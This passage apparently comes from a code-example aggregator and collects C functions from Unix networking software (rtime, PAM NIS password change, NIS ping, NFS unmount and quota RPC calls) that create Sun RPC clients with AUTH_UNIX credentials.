				(void) t_kclose(tiptr, 1);
				return (-1);
			}

			if (type == 0) {
				RPCLOG0(1, "rtime: t_kspoll timed out\n");
				(void) t_kfree(tiptr, (char *)unitdata,
				    T_UNITDATA);
				(void) t_kclose(tiptr, 1);
				return (-1);
			}

			error = t_krcvudata(tiptr, unitdata, &type, &uderr);
			if (error != 0) {
				RPCLOG(1, "rtime: t_krcvudata %d\n", error);
				(void) t_kfree(tiptr, (char *)unitdata,
				    T_UNITDATA);
				(void) t_kclose(tiptr, 1);
				if (error == EBADMSG && retries-- > 0)
					goto again;
				return (-1);
			}

			if (type == T_UDERR) {
				if (bcmp(addrp->buf, unitdata->addr.buf,
				    unitdata->addr.len) != 0) {
				/*
				 * Response comes from some other
				 * destination:
				 * ignore it since it's not related to the
				 * request we just sent out.
				 */
					(void) t_kfree(tiptr, (char *)unitdata,
					    T_UNITDATA);
					(void) t_kclose(tiptr, 1);
					goto again;
				}
			}

			if (type != T_DATA) {
				RPCLOG(1,
				    "rtime: t_krcvudata returned type %d\n",
				    type);
				(void) t_kfree(tiptr, (char *)unitdata,
				    T_UNITDATA);
				(void) t_kclose(tiptr, 1);
				if (retries-- == 0)
					return (-1);
				goto again;
			}

			if (unitdata->udata.len < sizeof (uint32_t)) {
				RPCLOG(1, "rtime: bad rcvd length %d\n",
				    unitdata->udata.len);
				(void) t_kfree(tiptr, (char *)unitdata,
				    T_UNITDATA);
				(void) t_kclose(tiptr, 1);
				if (retries-- == 0)
					return (-1);
				goto again;
			}

			thetime = (time_t)ntohl(
			    /* LINTED pointer alignment */
			    *(uint32_t *)unitdata->udata.buf);
			(void) t_kfree(tiptr, (char *)unitdata, T_UNITDATA);

		} else {

			if ((error = t_kalloc(tiptr, T_CALL, T_ADDR,
			    (char **)&server)) != 0) {
				RPCLOG(1, "rtime: t_kalloc %d\n", error);
				(void) t_kclose(tiptr, 1);
				return (-1);
			}

			server->addr.len = addrp->len;
			bcopy(addrp->buf, server->addr.buf, server->addr.len);

			if ((error = t_kconnect(tiptr, server, NULL)) != 0) {
				RPCLOG(1, "rtime: t_kconnect %d\n", error);
				(void) t_kfree(tiptr, (char *)server, T_CALL);
				(void) t_kclose(tiptr, 1);
				return (-1);
			}
			(void) t_kfree(tiptr, (char *)server, T_CALL);

			timo = TIMEVAL_TO_TICK(wait);

			RPCLOG(8, "rtime: timo %x\n", timo);

			i = 0;
			dummy = 0;

			/* now read up to 4 bytes from the TIME server */
			while (i < sizeof (dummy)) {

				error = t_kspoll(tiptr, timo, READWAIT, &type);
				if (error != 0) {
					RPCLOG(1, "rtime: t_kspoll %d\n",
					    error);
					(void) t_kclose(tiptr, 1);
					return (-1);
				}

				if (type == 0) {
					RPCLOG0(1,
					    "rtime: t_kspoll timed out\n");
					(void) t_kclose(tiptr, 1);
					return (-1);
				}

				error = tli_recv(tiptr, &mp,
				    tiptr->fp->f_flag);
				if (error != 0) {
					RPCLOG(1, "rtime: tli_recv %d\n",
					    error);
					(void) t_kclose(tiptr, 1);
					return (-1);
				}

				if (mp->b_datap->db_type != M_DATA) {
					RPCLOG(1, "rtime: wrong msg type %d\n",
					    mp->b_datap->db_type);
					RPCLOG(1,
					    "rtime: wrong msg type: read %d"
					    " bytes\n", i);
					(void) t_kclose(tiptr, 1);
					freemsg(mp);
					return (-1);
				}

				mp2 = mp;

				/*
				 * The outer loop iterates until we reach the
				 * end of the mblk chain.
				 */
				while (mp2 != NULL) {

					/*
					 * The inner loop iterates until
					 * we've gotten 4 bytes or until
					 * the mblk is exhausted.
					 */
					while (i < sizeof (dummy) &&
					    mp2->b_rptr < mp2->b_wptr) {

						i++;

					/*
					 * We avoid big-endian/little-endian
					 * issues by serializing the result
					 * one byte at a time.
					 */
						dummy <<= 8;
						dummy += ((*mp2->b_rptr) &
						    0xFF);

						mp2->b_rptr++;
					}

					mp2 = mp2->b_cont;
				}

			freemsg(mp);
			}

			thetime = (time_t)dummy;
		}

		(void) t_kclose(tiptr, 1);

	} else {
		CLIENT			*client;
		struct timeval		timout;

		RPCLOG0(8, "rtime: using new method\n");

new_again:
		/*
		 *	We talk to rpcbind.
		 */
		error = clnt_tli_kcreate(synconfig, addrp, (rpcprog_t)RPCBPROG,
		    (rpcvers_t)RPCBVERS, 0, retries, CRED(), &client);

		if (error != 0) {
			RPCLOG(1,
			    "rtime: clnt_tli_kcreate returned %d\n", error);
			return (-1);
		}
		timout.tv_sec = 60;
		timout.tv_usec = 0;
		error = clnt_call(client, RPCBPROC_GETTIME, (xdrproc_t)xdr_void,
		    NULL, (xdrproc_t)xdr_u_int,
		    (caddr_t)&srvtime, timout);
		thetime = srvtime;
		auth_destroy(client->cl_auth);
		clnt_destroy(client);
		if (error == RPC_UDERROR) {
			if (retries-- > 0)
				goto new_again;
		}
		if (error != RPC_SUCCESS) {
			RPCLOG(1, "rtime: time sync clnt_call returned %d\n",
			    error);
			error = EIO;
			return (-1);
		}
	}

	if (calltype != 0)
		thetime += TOFFSET;

	RPCLOG(8, "rtime: thetime = %lx\n", thetime);

	if (thetime < WRITTEN) {
		RPCLOG(1, "rtime: time returned is too far in past %lx",
		    thetime);
		RPCLOG(1, "rtime: WRITTEN %x", WRITTEN);
		return (-1);
	}
	thetime -= TOFFSET;

	timep->tv_sec = thetime;
	RPCLOG(8, "rtime: timep->tv_sec = %lx\n", timep->tv_sec);
	RPCLOG(8, "rtime: machine time  = %lx\n", gethrestime_sec());
	timep->tv_usec = 0;
	RPCLOG0(8, "rtime: returning success\n");
	return (0);
}
Пример #23
0
static int _do_setpass(pam_handle_t* pamh, const char *forwho,
		       const char *fromwhat,
		       char *towhat, unsigned int ctrl, int remember)
{
	struct passwd *pwd = NULL;
	int retval = 0;
	int unlocked = 0;
	char *master = NULL;

	D(("called"));

	pwd = getpwnam(forwho);

	if (pwd == NULL) {
		retval = PAM_AUTHTOK_ERR;
		goto done;
	}

	if (on(UNIX_NIS, ctrl) && _unix_comesfromsource(pamh, forwho, 0, 1)) {
#ifdef HAVE_NIS
	  if ((master=getNISserver(pamh, ctrl)) != NULL) {
		struct timeval timeout;
		struct yppasswd yppwd;
		CLIENT *clnt;
		int status;
		enum clnt_stat err;

		/* Unlock passwd file to avoid deadlock */
		unlock_pwdf();
		unlocked = 1;

		/* Initialize password information */
		yppwd.newpw.pw_passwd = pwd->pw_passwd;
		yppwd.newpw.pw_name = pwd->pw_name;
		yppwd.newpw.pw_uid = pwd->pw_uid;
		yppwd.newpw.pw_gid = pwd->pw_gid;
		yppwd.newpw.pw_gecos = pwd->pw_gecos;
		yppwd.newpw.pw_dir = pwd->pw_dir;
		yppwd.newpw.pw_shell = pwd->pw_shell;
		yppwd.oldpass = fromwhat ? strdup (fromwhat) : strdup ("");
		yppwd.newpw.pw_passwd = towhat;

		D(("Set password %s for %s", yppwd.newpw.pw_passwd, forwho));

		/* The yppasswd.x file said `unix authentication required',
		 * so I added it. This is the only reason it is in here.
		 * My yppasswdd doesn't use it, but maybe some others out there
		 * do.                                        --okir
		 */
		clnt = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp");
		clnt->cl_auth = authunix_create_default();
		memset((char *) &status, '\0', sizeof(status));
		timeout.tv_sec = 25;
		timeout.tv_usec = 0;
		err = clnt_call(clnt, YPPASSWDPROC_UPDATE,
				(xdrproc_t) xdr_yppasswd, (char *) &yppwd,
				(xdrproc_t) xdr_int, (char *) &status,
				timeout);

		free (yppwd.oldpass);

		if (err) {
			_make_remark(pamh, ctrl, PAM_TEXT_INFO,
				clnt_sperrno(err));
		} else if (status) {
			D(("Error while changing NIS password.\n"));
		}
		D(("The password has%s been changed on %s.",
		   (err || status) ? " not" : "", master));
		pam_syslog(pamh, LOG_NOTICE, "password%s changed for %s on %s",
			 (err || status) ? " not" : "", pwd->pw_name, master);

		auth_destroy(clnt->cl_auth);
		clnt_destroy(clnt);
		if (err || status) {
			_make_remark(pamh, ctrl, PAM_TEXT_INFO,
				_("NIS password could not be changed."));
			retval = PAM_TRY_AGAIN;
		}
#ifdef PAM_DEBUG
		sleep(5);
#endif
	    } else {
		    retval = PAM_TRY_AGAIN;
	    }
#else
          if (on(UNIX_DEBUG, ctrl)) {
            pam_syslog(pamh, LOG_DEBUG, "No NIS support available");
          }

          retval = PAM_TRY_AGAIN;
#endif
	}

	if (_unix_comesfromsource(pamh, forwho, 1, 0)) {
		if(unlocked) {
			if (lock_pwdf() != PAM_SUCCESS) {
				return PAM_AUTHTOK_LOCK_BUSY;
			}
		}
#ifdef WITH_SELINUX
	        if (unix_selinux_confined())
			  return _unix_run_update_binary(pamh, ctrl, forwho, fromwhat, towhat, remember);
#endif
		/* first, save old password */
		if (save_old_password(pamh, forwho, fromwhat, remember)) {
			retval = PAM_AUTHTOK_ERR;
			goto done;
		}
		if (on(UNIX_SHADOW, ctrl) || is_pwd_shadowed(pwd)) {
			retval = unix_update_shadow(pamh, forwho, towhat);
			if (retval == PAM_SUCCESS)
				if (!is_pwd_shadowed(pwd))
					retval = unix_update_passwd(pamh, forwho, "x");
		} else {
			retval = unix_update_passwd(pamh, forwho, towhat);
		}
	}


done:
	unlock_pwdf();

	return retval;
}
Пример #24
0
int
clnt_rdma_kcreate(char *proto, void *handle, struct netbuf *raddr, int family,
    rpcprog_t pgm, rpcvers_t vers, struct cred *cred, CLIENT **cl)
{
	CLIENT *h;
	struct cku_private *p;
	struct rpc_msg call_msg;
	rdma_registry_t *rp;

	ASSERT(INGLOBALZONE(curproc));

	if (cl == NULL)
		return (EINVAL);
	*cl = NULL;

	p = kmem_zalloc(sizeof (*p), KM_SLEEP);

	/*
	 * Find underlying RDMATF plugin
	 */
	rw_enter(&rdma_lock, RW_READER);
	rp = rdma_mod_head;
	while (rp != NULL) {
		if (strcmp(rp->r_mod->rdma_api, proto))
			rp = rp->r_next;
		else {
			p->cku_rd_mod = rp->r_mod;
			p->cku_rd_handle = handle;
			break;
		}
	}
	rw_exit(&rdma_lock);

	if (p->cku_rd_mod == NULL) {
		/*
		 * Should not happen.
		 * No matching RDMATF plugin.
		 */
		kmem_free(p, sizeof (struct cku_private));
		return (EINVAL);
	}

	h = ptoh(p);
	h->cl_ops = &rdma_clnt_ops;
	h->cl_private = (caddr_t)p;
	h->cl_auth = authkern_create();

	/* call message, just used to pre-serialize below */
	call_msg.rm_xid = 0;
	call_msg.rm_direction = CALL;
	call_msg.rm_call.cb_rpcvers = RPC_MSG_VERSION;
	call_msg.rm_call.cb_prog = pgm;
	call_msg.rm_call.cb_vers = vers;

	xdrmem_create(&p->cku_outxdr, p->cku_rpchdr, CKU_HDRSIZE, XDR_ENCODE);
	/* pre-serialize call message header */
	if (!xdr_callhdr(&p->cku_outxdr, &call_msg)) {
		XDR_DESTROY(&p->cku_outxdr);
		auth_destroy(h->cl_auth);
		kmem_free(p, sizeof (struct cku_private));
		return (EINVAL);
	}

	/*
	 * Set up the rpc information
	 */
	p->cku_cred = cred;
	p->cku_srcaddr.buf = kmem_zalloc(raddr->maxlen, KM_SLEEP);
	p->cku_srcaddr.maxlen = raddr->maxlen;
	p->cku_srcaddr.len = 0;
	p->cku_addr.buf = kmem_zalloc(raddr->maxlen, KM_SLEEP);
	p->cku_addr.maxlen = raddr->maxlen;
	p->cku_addr.len = raddr->len;
	bcopy(raddr->buf, p->cku_addr.buf, raddr->len);
	p->cku_addrfmly = family;

	*cl = h;
	return (0);
}
Пример #25
0
int
__yp_ping(struct in_addr *restricted_addrs, int cnt, char *dom, short *port)
{
	struct timeval		tv = { 5, 0 };
	struct ping_req		**reqs;
	unsigned long		i;
	int			async;
	struct sockaddr_in	sin, *any = NULL;
	struct netbuf		addr;
	int			winner = -1;
	u_int32_t		xid_seed, xid_lookup;
	int			sock, dontblock = 1;
	CLIENT			*clnt;
	char			*foo = dom;
	int			validsrvs = 0;

	/* Set up handles. */
	reqs = calloc(1, sizeof(struct ping_req *) * cnt);
	xid_seed = time(NULL) ^ getpid();

	for (i = 0; i < cnt; i++) {
		bzero((char *)&sin, sizeof(sin));
		sin.sin_family = AF_INET;
		bcopy((char *)&restricted_addrs[i],
			(char *)&sin.sin_addr, sizeof(struct in_addr));
		sin.sin_port = htons(__pmap_getport(&sin, YPPROG,
					YPVERS, IPPROTO_UDP));
		if (sin.sin_port == 0)
			continue;
		reqs[i] = calloc(1, sizeof(struct ping_req));
		bcopy((char *)&sin, (char *)&reqs[i]->sin, sizeof(sin));
		any = &reqs[i]->sin;
		reqs[i]->xid = xid_seed;
		xid_seed++;
		validsrvs++;
	}

	/* Make sure at least one server was assigned */
	if (!validsrvs) {
		free(reqs);
		return(-1);
	}

	/* Create RPC handle */
	sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	clnt = clntudp_create(any, YPPROG, YPVERS, tv, &sock);
	if (clnt == NULL) {
		close(sock);
		for (i = 0; i < cnt; i++)
			if (reqs[i] != NULL)
				free(reqs[i]);
		free(reqs);
		return(-1);
	}
	clnt->cl_auth = authunix_create_default();
	tv.tv_sec = 0;

	clnt_control(clnt, CLSET_TIMEOUT, (char *)&tv);
	async = TRUE;
	clnt_control(clnt, CLSET_ASYNC, (char *)&async);
	ioctl(sock, FIONBIO, &dontblock);

	/* Transmit */
	for (i = 0; i < cnt; i++) {
		if (reqs[i] != NULL) {
			clnt_control(clnt, CLSET_XID, (char *)&reqs[i]->xid);
			addr.len = sizeof(reqs[i]->sin);
			addr.buf = (char *) &reqs[i]->sin;
			clnt_control(clnt, CLSET_SVC_ADDR, &addr);
			ypproc_domain_nonack_2_send(&foo, clnt);
		}
	}

	/* Receive reply */
	ypproc_domain_nonack_2_recv(&foo, clnt);

	/* Got a winner -- look him up. */
	clnt_control(clnt, CLGET_XID, (char *)&xid_lookup);
	for (i = 0; i < cnt; i++) {
		if (reqs[i] != NULL && reqs[i]->xid == xid_lookup) {
			winner = i;
			*port = reqs[i]->sin.sin_port;
		}
	}

	/* Shut everything down */
	auth_destroy(clnt->cl_auth);
	clnt_destroy(clnt);
	close(sock);

	for (i = 0; i < cnt; i++)
		if (reqs[i] != NULL)
			free(reqs[i]);
	free(reqs);

	return(winner);
}
Пример #26
0
static int
nfs_umount_rpc_call(const char *spec, const char *opts)
{
      register CLIENT *clp;
      struct sockaddr_in saddr;
      struct timeval pertry, try;
      enum clnt_stat clnt_stat;
      int so = RPC_ANYSOCK;
      struct hostent *hostp;
      char *hostname;
      char *dirname;
      char *p;

      if (spec == NULL || (p = strchr(spec,':')) == NULL)
		return 0;
      hostname = xstrndup(spec, p-spec);
      dirname = xstrdup(p+1);
#ifdef DEBUG
      printf("host: %s, directory: %s\n", hostname, dirname);
#endif

      if (opts && (p = strstr(opts, "addr="))) {
	   char *q;

	   free(hostname);
	   p += 5;
	   q = p;
	   while (*q && *q != ',') q++;
	   hostname = xstrndup(p,q-p);
      }

      if (hostname[0] >= '0' && hostname[0] <= '9')
	   saddr.sin_addr.s_addr = inet_addr(hostname);
      else {
	   if ((hostp = gethostbyname(hostname)) == NULL) {
		fprintf(stderr, "umount: can't get address for %s\n",
			hostname);
		return 1;
	   }
	   if (hostp->h_length > sizeof(struct in_addr)) {
		fprintf(stderr, "umount: got bad hostp->h_length\n");
		hostp->h_length = sizeof(struct in_addr);
	   }
	   memcpy(&saddr.sin_addr, hostp->h_addr, hostp->h_length);
      }

      saddr.sin_family = AF_INET;
      saddr.sin_port = 0;
      pertry.tv_sec = 3;
      pertry.tv_usec = 0;
      if ((clp = clntudp_create(&saddr, MOUNTPROG, MOUNTVERS,
				pertry, &so)) == NULL) {
	   clnt_pcreateerror("Cannot MOUNTPROG RPC");
	   return (1);
      }
      clp->cl_auth = authunix_create_default();
      try.tv_sec = 20;
      try.tv_usec = 0;
      clnt_stat = clnt_call(clp, MOUNTPROC_UMNT,
			    (xdrproc_t) xdr_dir, dirname,
			    (xdrproc_t) xdr_void, (caddr_t) 0,
			    try);

      if (clnt_stat != RPC_SUCCESS) {
	   clnt_perror(clp, "Bad UMNT RPC");
	   return (1);
      }
      auth_destroy(clp->cl_auth);
      clnt_destroy(clp);

      return (0);
}
Пример #27
0
static int
yppasswd_local(ypclnt_t *ypclnt, const struct passwd *pwd)
{
	struct master_yppasswd yppwd;
	struct rpc_err rpcerr;
	struct netconfig *nc = NULL;
	void *localhandle = 0;
	CLIENT *clnt = NULL;
	int ret, *result;

	/* fill the master_yppasswd structure */
	memset(&yppwd, 0, sizeof yppwd);
	yppwd.newpw.pw_uid = pwd->pw_uid;
	yppwd.newpw.pw_gid = pwd->pw_gid;
	yppwd.newpw.pw_change = pwd->pw_change;
	yppwd.newpw.pw_expire = pwd->pw_expire;
	yppwd.newpw.pw_fields = pwd->pw_fields;
	yppwd.oldpass = strdup("");
	yppwd.domain = strdup(ypclnt->domain);
	if ((yppwd.newpw.pw_name = strdup(pwd->pw_name)) == NULL ||
	    (yppwd.newpw.pw_passwd = strdup(pwd->pw_passwd)) == NULL ||
	    (yppwd.newpw.pw_class = strdup(pwd->pw_class)) == NULL ||
	    (yppwd.newpw.pw_gecos = strdup(pwd->pw_gecos)) == NULL ||
	    (yppwd.newpw.pw_dir = strdup(pwd->pw_dir)) == NULL ||
	    (yppwd.newpw.pw_shell = strdup(pwd->pw_shell)) == NULL) {
		ypclnt_error(ypclnt, __func__, strerror(errno));
		ret = -1;
		goto done;
	}

	/* connect to rpc.yppasswdd */
	localhandle = setnetconfig();
	while ((nc = getnetconfig(localhandle)) != NULL) {
		if (nc->nc_protofmly != NULL &&
		    strcmp(nc->nc_protofmly, NC_LOOPBACK) == 0)
			break;
	}
	if (nc == NULL) {
		ypclnt_error(ypclnt, __func__,
		    "getnetconfig: %s", nc_sperror());
		ret = -1;
		goto done;
	}
	if ((clnt = clnt_tp_create(NULL, MASTER_YPPASSWDPROG,
	    MASTER_YPPASSWDVERS, nc)) == NULL) {
		ypclnt_error(ypclnt, __func__,
		    "failed to connect to rpc.yppasswdd: %s",
		    clnt_spcreateerror(ypclnt->server));
		ret = -1;
		goto done;
	}
	clnt->cl_auth = authunix_create_default();

	/* request the update */
	result = yppasswdproc_update_master_1(&yppwd, clnt);

	/* check for RPC errors */
	clnt_geterr(clnt, &rpcerr);
	if (rpcerr.re_status != RPC_SUCCESS) {
		ypclnt_error(ypclnt, __func__,
		    "NIS password update failed: %s",
		    clnt_sperror(clnt, ypclnt->server));
		ret = -1;
		goto done;
	}

	/* check the result of the update */
	if (result == NULL || *result != 0) {
		ypclnt_error(ypclnt, __func__,
		    "NIS password update failed");
		/* XXX how do we get more details? */
		ret = -1;
		goto done;
	}

	ypclnt_error(ypclnt, NULL, NULL);
	ret = 0;

 done:
	if (clnt != NULL) {
		auth_destroy(clnt->cl_auth);
		clnt_destroy(clnt);
	}
	endnetconfig(localhandle);
	free(yppwd.newpw.pw_name);
	if (yppwd.newpw.pw_passwd != NULL) {
		memset(yppwd.newpw.pw_passwd, 0, strlen(yppwd.newpw.pw_passwd));
		free(yppwd.newpw.pw_passwd);
	}
	free(yppwd.newpw.pw_class);
	free(yppwd.newpw.pw_gecos);
	free(yppwd.newpw.pw_dir);
	free(yppwd.newpw.pw_shell);
	if (yppwd.oldpass != NULL) {
		memset(yppwd.oldpass, 0, strlen(yppwd.oldpass));
		free(yppwd.oldpass);
	}
	return (ret);
}
Пример #28
0
int sys_get_nfs_quota(const char *path, const char *bdev,
		      enum SMB_QUOTA_TYPE qtype,
		      unid_t id, SMB_DISK_QUOTA *dp)
{
	CLIENT *clnt = NULL;
	struct getquota_rslt gq_rslt;
	struct getquota_args gq_args;
	const char *mnttype;
	char *cutstr, *host, *testpath;
	int len;
	static struct timeval timeout = {2,0};
	enum clnt_stat clnt_stat;

	int ret = -1;
	uint32_t qflags = 0;

	if (!path || !bdev || !dp) {
		smb_panic("sys_get_nfs_quota: called with NULL pointer");
	}

	DEBUG(10, ("sys_get_nfs_quota: path[%s] bdev[%s] qtype[%d]\n",
		   path, bdev, qtype));

	ZERO_STRUCT(*dp);

	dp->qtype = qtype;

	if (qtype != SMB_USER_QUOTA_TYPE) {
		DEBUG(3, ("sys_get_nfs_quota: got unsupported quota type '%d', "
			  "only supported type is '%d' (SMB_USER_QUOTA_TYPE)\n",
			  qtype, SMB_USER_QUOTA_TYPE));
		errno = ENOSYS;
		return -1;
	}

	mnttype = bdev;
	len = strcspn(mnttype, ":");
	cutstr = (char *) SMB_MALLOC(len+1);
	if (cutstr == NULL) {
		errno = ENOMEM;
		return -1;
	}

	memset(cutstr, '\0', len+1);
	host = strncat(cutstr, mnttype, sizeof(char) * len);
	testpath = strchr_m(mnttype, ':');
	if (testpath == NULL) {
		errno = EINVAL;
		goto out;
	}
	testpath++;
	gq_args.gqa_pathp = testpath;
	gq_args.gqa_uid = id.uid;

	DEBUG(10, ("sys_get_nfs_quotas: Asking for quota of path '%s' on "
		   "host '%s', rpcprog '%i', rpcvers '%i', network '%s'\n",
		   host, testpath+1, (int)RQUOTAPROG, (int)RQUOTAVERS, "udp"));

	clnt = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp");
	if (clnt == NULL) {
		ret = -1;
		goto out;
	}

	clnt->cl_auth = authunix_create_default();
	if (clnt->cl_auth == NULL) {
		DEBUG(3, ("sys_get_nfs_quotas: authunix_create_default "
			  "failed\n"));
		ret = -1;
		goto out;
	}

	clnt_stat = clnt_call(clnt,
			      RQUOTAPROC_GETQUOTA,
			      (const xdrproc_t) my_xdr_getquota_args,
			      (caddr_t)&gq_args,
			      (const xdrproc_t) my_xdr_getquota_rslt,
			      (caddr_t)&gq_rslt,
			      timeout);

	if (clnt_stat != RPC_SUCCESS) {
		if (errno == ECONNREFUSED) {
			/* If we cannot connect with rpc.quotad, it may
			 * simply be because there's no quota on the remote
			 * system
			 */
			DBG_INFO("clnt_call failed with ECONNREFUSED - "
				 "assuming no quotas on server\n");
			ret = 0;
		} else {
			int save_errno = errno;
			DBG_NOTICE("clnt_call failed - %s\n", strerror(errno));
			errno = save_errno;
			ret = -1;
		}
		goto out;
	}

	DEBUG(10, ("sys_get_nfs_quotas: getquota_rslt:\n"
		   "status       : '%i'\n"
		   "bsize        : '%i'\n"
		   "active       : '%s'\n"
		   "bhardlimit   : '%u'\n"
		   "bsoftlimit   : '%u'\n"
		   "curblocks    : '%u'\n"
		   "fhardlimit   : '%u'\n"
		   "fsoftlimit   : '%u'\n"
		   "curfiles     : '%u'\n"
		   "btimeleft    : '%u'\n"
		   "ftimeleft    : '%u'\n",
		   gq_rslt.GQR_STATUS,
		   gq_rslt.GQR_RQUOTA.rq_bsize,
		   gq_rslt.GQR_RQUOTA.rq_active?"yes":"no",
		   gq_rslt.GQR_RQUOTA.rq_bhardlimit,
		   gq_rslt.GQR_RQUOTA.rq_bsoftlimit,
		   gq_rslt.GQR_RQUOTA.rq_curblocks,
		   gq_rslt.GQR_RQUOTA.rq_fhardlimit,
		   gq_rslt.GQR_RQUOTA.rq_fsoftlimit,
		   gq_rslt.GQR_RQUOTA.rq_curfiles,
		   gq_rslt.GQR_RQUOTA.rq_btimeleft,
		   gq_rslt.GQR_RQUOTA.rq_ftimeleft));

	/*
	 * gqr.status returns
	 *   1 if quotas exist,
	 *   2 if there is no quota set, and
	 *   3 if no permission to get the quota.
	 */

	switch (gq_rslt.GQR_STATUS) {
	case 1:
		DEBUG(10, ("sys_get_nfs_quotas: Good quota data\n"));
		dp->bsize = (uint64_t)gq_rslt.GQR_RQUOTA.rq_bsize;
		dp->softlimit = gq_rslt.GQR_RQUOTA.rq_bsoftlimit;
		dp->hardlimit = gq_rslt.GQR_RQUOTA.rq_bhardlimit;
		dp->curblocks = gq_rslt.GQR_RQUOTA.rq_curblocks;
		break;

	case 2:
		DEBUG(5, ("sys_get_nfs_quotas: No quota set\n"));
		SMB_QUOTAS_SET_NO_LIMIT(dp);
		break;

	case 3:
		DEBUG(3, ("sys_get_nfs_quotas: no permission to get quota\n"));
		errno = EPERM;
		ret = -1;
		goto out;

	default:
		DEBUG(5, ("sys_get_nfs_quotas: Unknown remote quota status "
			  "code '%i'\n", gq_rslt.GQR_STATUS));
		ret = -1;
		goto out;
		break;
	}

	dp->qflags = qflags;

	ret = 0;

out:
	if (clnt) {
		if (clnt->cl_auth) {
			auth_destroy(clnt->cl_auth);
		}
		clnt_destroy(clnt);
	}

	SAFE_FREE(cutstr);

	DEBUG(10, ("sys_get_nfs_quotas: finished\n" ));
	return ret;
}
Пример #29
0
static int _do_setpass(pam_handle_t* pamh, const char *forwho, char *fromwhat,
		       char *towhat, unsigned int ctrl, int remember)
{
	struct passwd *pwd = NULL;
	int retval = 0;

	D(("called"));

	setpwent();
	pwd = getpwnam(forwho);
	endpwent();

	if (pwd == NULL)
		return PAM_AUTHTOK_ERR;

	if (on(UNIX_NIS, ctrl)) {
		struct timeval timeout;
		struct yppasswd yppwd;
		CLIENT *clnt;
		char *master;
		int status;
		int err = 0;

		/* Make RPC call to NIS server */
		if ((master = getNISserver(pamh)) == NULL)
			return PAM_TRY_AGAIN;

		/* Initialize password information */
		yppwd.newpw.pw_passwd = pwd->pw_passwd;
		yppwd.newpw.pw_name = pwd->pw_name;
		yppwd.newpw.pw_uid = pwd->pw_uid;
		yppwd.newpw.pw_gid = pwd->pw_gid;
		yppwd.newpw.pw_gecos = pwd->pw_gecos;
		yppwd.newpw.pw_dir = pwd->pw_dir;
		yppwd.newpw.pw_shell = pwd->pw_shell;
		yppwd.oldpass = fromwhat;
		yppwd.newpw.pw_passwd = towhat;

		D(("Set password %s for %s", yppwd.newpw.pw_passwd, forwho));

		/* The yppasswd.x file said `unix authentication required',
		 * so I added it. This is the only reason it is in here.
		 * My yppasswdd doesn't use it, but maybe some others out there
		 * do.                                        --okir
		 */
		clnt = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp");
		clnt->cl_auth = authunix_create_default();
		memset((char *) &status, '\0', sizeof(status));
		timeout.tv_sec = 25;
		timeout.tv_usec = 0;
		err = clnt_call(clnt, YPPASSWDPROC_UPDATE,
				(xdrproc_t) xdr_yppasswd, (char *) &yppwd,
				(xdrproc_t) xdr_int, (char *) &status,
				timeout);

		if (err) {
			clnt_perrno(err);
			retval = PAM_TRY_AGAIN;
		} else if (status) {
			fprintf(stderr, "Error while changing NIS password.\n");
			retval = PAM_TRY_AGAIN;
		}
		printf("\nThe password has%s been changed on %s.\n",
		       (err || status) ? " not" : "", master);

		auth_destroy(clnt->cl_auth);
		clnt_destroy(clnt);
		if ((err || status) != 0) {
			retval = PAM_TRY_AGAIN;
		}
#ifdef DEBUG
		sleep(5);
#endif
		return retval;
	}
	/* first, save old password */
	if (save_old_password(forwho, fromwhat, remember)) {
		return PAM_AUTHTOK_ERR;
	}
	if (on(UNIX_SHADOW, ctrl) || (strcmp(pwd->pw_passwd, "x") == 0)) {
		retval = _update_shadow(forwho, towhat);
		if (retval == PAM_SUCCESS)
			retval = _update_passwd(forwho, "x");
	} else {
		retval = _update_passwd(forwho, towhat);
	}

	return retval;
}
Пример #30
0
static int nfs_probe_statd(void)
{
	struct sockaddr_in addr = {
		.sin_family		= AF_INET,
		.sin_addr.s_addr	= htonl(INADDR_LOOPBACK),
	};
	rpcprog_t program = nfs_getrpcbyname(NSMPROG, nfs_ns_pgmtbl);

	return nfs_getport_ping((struct sockaddr *)&addr, sizeof(addr),
				program, (rpcvers_t)1, IPPROTO_UDP);
}

/**
 * start_statd - attempt to start rpc.statd
 *
 * Returns 1 if statd is running; otherwise zero.
 */
int start_statd(void)
{
#ifdef START_STATD
	struct stat stb;
#endif

	if (nfs_probe_statd())
		return 1;

#ifdef START_STATD
	if (stat(START_STATD, &stb) == 0) {
		if (S_ISREG(stb.st_mode) && (stb.st_mode & S_IXUSR)) {
			pid_t pid = fork();
			switch (pid) {
			case 0: /* child */
				execl(START_STATD, START_STATD, NULL);
				exit(1);
			case -1: /* error */
				nfs_error(_("fork failed: %s"),
							strerror(errno));
				break;
			default: /* parent */
				waitpid(pid, NULL,0);
				break;
			}
			if (nfs_probe_statd())
				return 1;
		}
	}
#endif

	return 0;
}

/**
 * nfs_advise_umount - ask the server to remove a share from it's rmtab
 * @sap: pointer to IP address of server to call
 * @salen: length of server address
 * @pmap: partially filled-in mountd RPC service tuple
 * @argp: directory path of share to "unmount"
 *
 * Returns one if the unmount call succeeded; zero if the unmount
 * failed for any reason;  rpccreateerr.cf_stat is set to reflect
 * the nature of the error.
 *
 * We use a fast timeout since this call is advisory only.
 */
int nfs_advise_umount(const struct sockaddr *sap, const socklen_t salen,
		      const struct pmap *pmap, const dirpath *argp)
{
	struct sockaddr_storage address;
	struct sockaddr *saddr = (struct sockaddr *)&address;
	struct pmap mnt_pmap = *pmap;
	struct timeval timeout = {
		.tv_sec		= MOUNT_TIMEOUT >> 3,
	};
	CLIENT *client;
	enum clnt_stat res = 0;

	if (nfs_probe_mntport(sap, salen, &mnt_pmap) == 0)
		return 0;

	memcpy(saddr, sap, salen);
	nfs_set_port(saddr, mnt_pmap.pm_port);

	client = nfs_get_rpcclient(saddr, salen, mnt_pmap.pm_prot,
					mnt_pmap.pm_prog, mnt_pmap.pm_vers,
					&timeout);
	if (client == NULL)
		return 0;

	client->cl_auth = authunix_create_default();

	res = CLNT_CALL(client, MOUNTPROC_UMNT,
			(xdrproc_t)xdr_dirpath, (caddr_t)argp,
			(xdrproc_t)xdr_void, NULL,
			timeout);

	auth_destroy(client->cl_auth);
	CLNT_DESTROY(client);

	if (res != RPC_SUCCESS)
		return 0;

	return 1;
}

/**
 * nfs_call_umount - ask the server to remove a share from it's rmtab
 * @mnt_server: address of RPC MNT program server
 * @argp: directory path of share to "unmount"
 *
 * Returns one if the unmount call succeeded; zero if the unmount
 * failed for any reason.
 *
